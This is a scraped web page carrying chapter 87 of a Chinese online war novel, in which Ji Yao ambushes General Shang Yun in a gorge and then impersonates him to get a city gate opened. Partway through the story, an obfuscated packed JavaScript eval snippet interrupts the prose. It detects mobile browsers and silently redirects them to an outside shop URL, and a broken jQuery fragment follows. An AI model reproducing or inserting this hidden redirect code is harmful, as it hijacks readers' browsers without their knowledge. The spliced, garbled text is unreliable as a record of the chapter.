默认冷灰
24号文字
方正启体

87.翻身战

作者:昭然山本书字数:K更新时间:
    王副将张口苦劝,"末将再次恳请将军三思。"


    尚允正由士兵帮他披上战甲,"王副将,你一定不知,有一句古话,与敌相攻,若敌无故退归,必须审察。果力疲粮竭,可选轻锐蹑之。"


    他接着道,"我问你,中州军是不是粮尽兵疲?"


    "近日,其炊烟确实变少,有可能是缺粮。"


    "我问你,中州军是否士气低落?"


    "确有此象。"


    尚允厉声道,"若此时还不派出精锐之师,前去追击。导致误了良机,你可担得起这个责任?"


    "末将不敢。"


    "哼!你留在此处,由本将军带兵出战。"


    "诺!"


    夜色正浓,沉重的城门被几个士兵吃力地拉开。


    随后,排成两列,站在边侧。


    尚允带着五千士兵,如奔流之水般,势不可挡,从城门疾驰而过,扬起的沙尘弥漫在空中。


    仅是一炷香的时间,丰州兵的马蹄就踏到中州军的军营。


    尚允翻身下马,用手理了理被风吹乱的碎发。


    他随手将鞭子扔到下属身上,在中州军军营查探一番。


    果真空了。


    仅剩的几个营帐里,东西横七扭八地堆在地上。


    散落的兵器、弓箭,甚至是中州军的旗帜。


    见此,尚允嘴角止不住地上扬。


    他纵身一跃,骑在马背上,挥手向前,"冲!"


    另一个副将来到他的身侧,"尚将军,再向东走,就要深入娄首山的峡谷了。万一……敌方设了埋伏,那我军岂不是中计了?"


    尚允睥睨地俯视他,"你同王副将一样,优柔寡断,能成何大事?"


    他指着前方幽深的峡谷,"且不说这里地势狭窄,无容身之处。就说它上面的悬崖峭壁,有谁敢在设埋伏,不要命了?"


    副将看着峡谷口两侧的树木,"那他们会不会在此地埋伏?"


    "区区几棵树,能藏几个人?"


    说着,尚允动作一顿,"你不会是故意拖延我军时间?"


    副将立刻下跪,惶恐道,"末将对弘野尚氏的忠心,天地可鉴。如有异心,甘愿千刀万剐。"


    尚允皱着眉头,"大敌当前,说什么丧气话。"


    他挥动马鞭,大声道,"冲!!!"


    大军疾驰,带动两侧树木发出轻颤。


    刚进入黑黝黝的峡谷中,一股强风袭来。


    峡谷两侧由奇形怪状的石头,堆在一起。


    别说让马跑起来,就连慢走,马蹄都要在这石头上,滑上几下。


    副将再次骑马上前,"将军,这个地方,根本无法发挥丰州兵的实力。且风大地险,实在不适合继续深入。"


    他接着道,"不若等到天亮,再行军?"


    尚允正用手挡着额头前的风,他眯着眼睛,"不能等,再等他们就真的跑走了。"


    "可我们根本看不见他们的踪影。"


    尚允没有理会,继续向前。


    随着不断地深入,他身后的士兵,因为地形原因,变成长长的队列,如一条蜿蜒数里的小河。


    遥远的后方,传来糟乱之声。


    尚允并未察觉到此,他的目光被前方的巨物牢牢吸引。


    他随手指了一个士兵,"去,看看是何东西,堵住了我们的去路。"


    "诺!"


    士兵举着火把,脚步慢慢移动,小心翼翼地来到巨物面前。


    有军帐、锅碗瓢盆等生活用品。


    士兵松了口气,猛然发觉巨物后,有什么东西突然闪了下。


    他屏息静气,扒着眼前的障碍物,向后看去。


    黑黢黢的一片,并没有什么异常。


    尚允有些不耐烦地问,"到底是什么?怎么还不来禀告?"


    士兵小跑过去,"回禀将军,是中州军的辎重车。"


    尚允仰天大笑,笑声在峡谷中,格外响亮。


    "看来他们忙着逃跑,连辎重车都当做了负担。"


    他接着道,"来人,快把它给挪开,别挡了本将军的杀敌之路。"


    "诺!"


    几个士兵,齐力挪动着辎重车。


    恰在此时。


    "中州军突袭了!"


    "中州军突袭了!"


    惊人的惨叫声,响彻整个峡谷。


    尚允慌乱地转身,看向一眼望不到的队伍后方。


    他厉声问道:"怎么了?"


    他忽地察觉身后,有一丝异响,回头看去。


    利箭划破气流,带着寒光,猛地扎入他的胸膛。


    巨大的冲击,让他整个身子,摔到马下。


    尚允额头直冒冷汗,手指发颤,指着辎重车的方向,"是……谁……"


    "自然是取你狗命之人。"


    纪鹞刚说完,就同老周,从辎重车的影子中站起。


    那一瞬间,尚允因剧痛而扭曲的脸上,震惊迅速被暴怒和难以置信所取代。


    怎么会败给许瑾欢的一条狗?


    他一时受不住,晕了过去。


    纪鹞嗤笑一声,"你们的主将,已受重伤,是乖乖投降还是不自量力?"


    丰州兵副将扶着尚允,怒道,"不自量力的是你们。"


    他接着道,"给我冲!!!得胜后,论功行赏。"


    老周举起长枪,向前冲着,"杀!!!"


    一时间,两军交战声,在峡谷中,不断回响。


    地势原因,丰州兵的人数优势,竟一点儿也发挥不出。


    并且,不熟悉地势,加上幽暗的环境,不知从何时冒出新的敌人。


    让丰州兵心中隐隐不安。


    而纪鹞他们正是抓住了这点,才在此处设埋伏。


    军势彼消我长,中州军奋勇杀敌,丰州兵且战且退。


    纪鹞挥舞着长枪,极其不熟练。


    索性将长枪扔到一旁,用腰侧的剑来砍人。


    忽明忽暗的火光,将纪鹞杀人的模样,映在石壁之上。


    她眼尾下垂,再加上微微的下三白,小脸上全是血滴。


    她非但不怕,反而嘴角始终噙着笑。


    这浓烈的血腥味,似火中烈油,将她骨子里的好战因子,全面燃起。


    仿佛在久远的过去,她也曾这样在万军之中挥剑,耳畔是同样的喊杀与哀嚎。


    纪鹞动作干净利落,犹如索命恶鬼,不断在敌军中,反复冲杀。


    只可惜,敌军副将把尚允,牢牢护在队伍中央。


    让纪鹞,无法近身。


    此时,丰州军队伍后方,传出宁远的声音。


    "纪鹞,人数已够,快来!"


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308482|189160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    闻此,纪鹞走到死去的丰州士兵面前,脱下他的盔甲和战袍。


    随即,她换了上去。


    "周将军,这里就交给了你。"


    老周踹了身侧敌军一脚,"纪参军放心,俺老周不出一会儿,就和队尾的黄平汇合了。"


    "好。"


    纪鹞捡起长枪,翻身上马,停到尚允所在之处。


    两人之间,隔着层层的丰州兵。


    纪鹞用长枪极速地向尚允的头部一挑,尚允副将快速回挡,可惜尚允的头盔已然被纪鹞拿到手中。


    前方有中州军为纪鹞开路,她快速地穿过长长的丰州军,来到丰州军队尾。


    看到已换成敌军战袍的宁远,"有多少人换好了?"


    只见宁远身旁有近五百人,举起来手。


    纪鹞满意点头,"黄将军,这里就交给你和周将军了。"


    黄平用手擦掉下巴的血迹,"速战速决,老夫可不想再穿着敌军的衣服。"


    "是。"


    纪鹞和宁远携兵,从峡谷骑马而出,越过平地。


    未到城门前,宁远就喊道,"王将军,快开城门,我们中了敌军埋伏。"


    几千兵马,同时停在城门前。


    躁动不安的马蹄声,像夏季冰雹砸落地面一般。


    城墙上的王副将连忙走到城沿,手持长枪,"来者何人?"


    宁远的脸隐在黑暗中,"王将军,快开门!尚将军受了敌人埋伏,伤势严重,只能同我共乘一匹马。


    紧贴着纪鹞后背的、他那只握缰的手,几不可察地僵直了一瞬。


    夜色幽暗,即使有浅薄的月光,加上忽明忽暗的火光,仍然看不分明。


    王副将眯着眼睛,也只能看到尚允专用的头盔上闪烁的光。


    以及,丰州军的旗帜与战袍。


    可关键时刻,一招不慎,便满盘皆输。


    王副将冒着风险,问道,"非常之机,末将斗胆有请尚将军抬起头来。"


    头盔之下,纪鹞低着头,只露出下半张脸。


    她手指攥紧,倘若真的抬头,必定败露。


    可若不抬头,又该如何被放进城里?


    纪鹞迟疑片刻,反而惹起王副将的猜疑。


    王副将语气加强,"末将斗胆再请尚将军抬起头来!"


    宁远坐在纪鹞身后,他低声道,"该怎么办?"


    纪鹞并未回他,而是粗着嗓子,咳嗽几声。


    随即,她模仿着尚允声音,"王副将,你拖延时机,是想让本将军死吗?"


    王副将俯身作辑,"末将……末将不敢。"


    纪鹞接着道,"还不快……咳咳……开门……"


    "诺!"


    王副将对属下命令道,"开门。"


    苦求数日的城门,终于在众人的面前,打了开来。


    每个中州军眼中,都隐藏着兴奋之意。


    马蹄压在吊桥上的闷响,如同敲在每个人的心口。


    这一刻,没有欢呼,只有死寂般的紧绷,和眼底的孤注一掷。


    宁远声音忍不住上扬,"驾!"


    一声令下,几百中州军,让城内快速奔来。


    如决堤之水,一发不可收拾。


    王副将眸光一闪,突然喊道,"遭了,中计了,快关门!"


    "快关城门!"
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)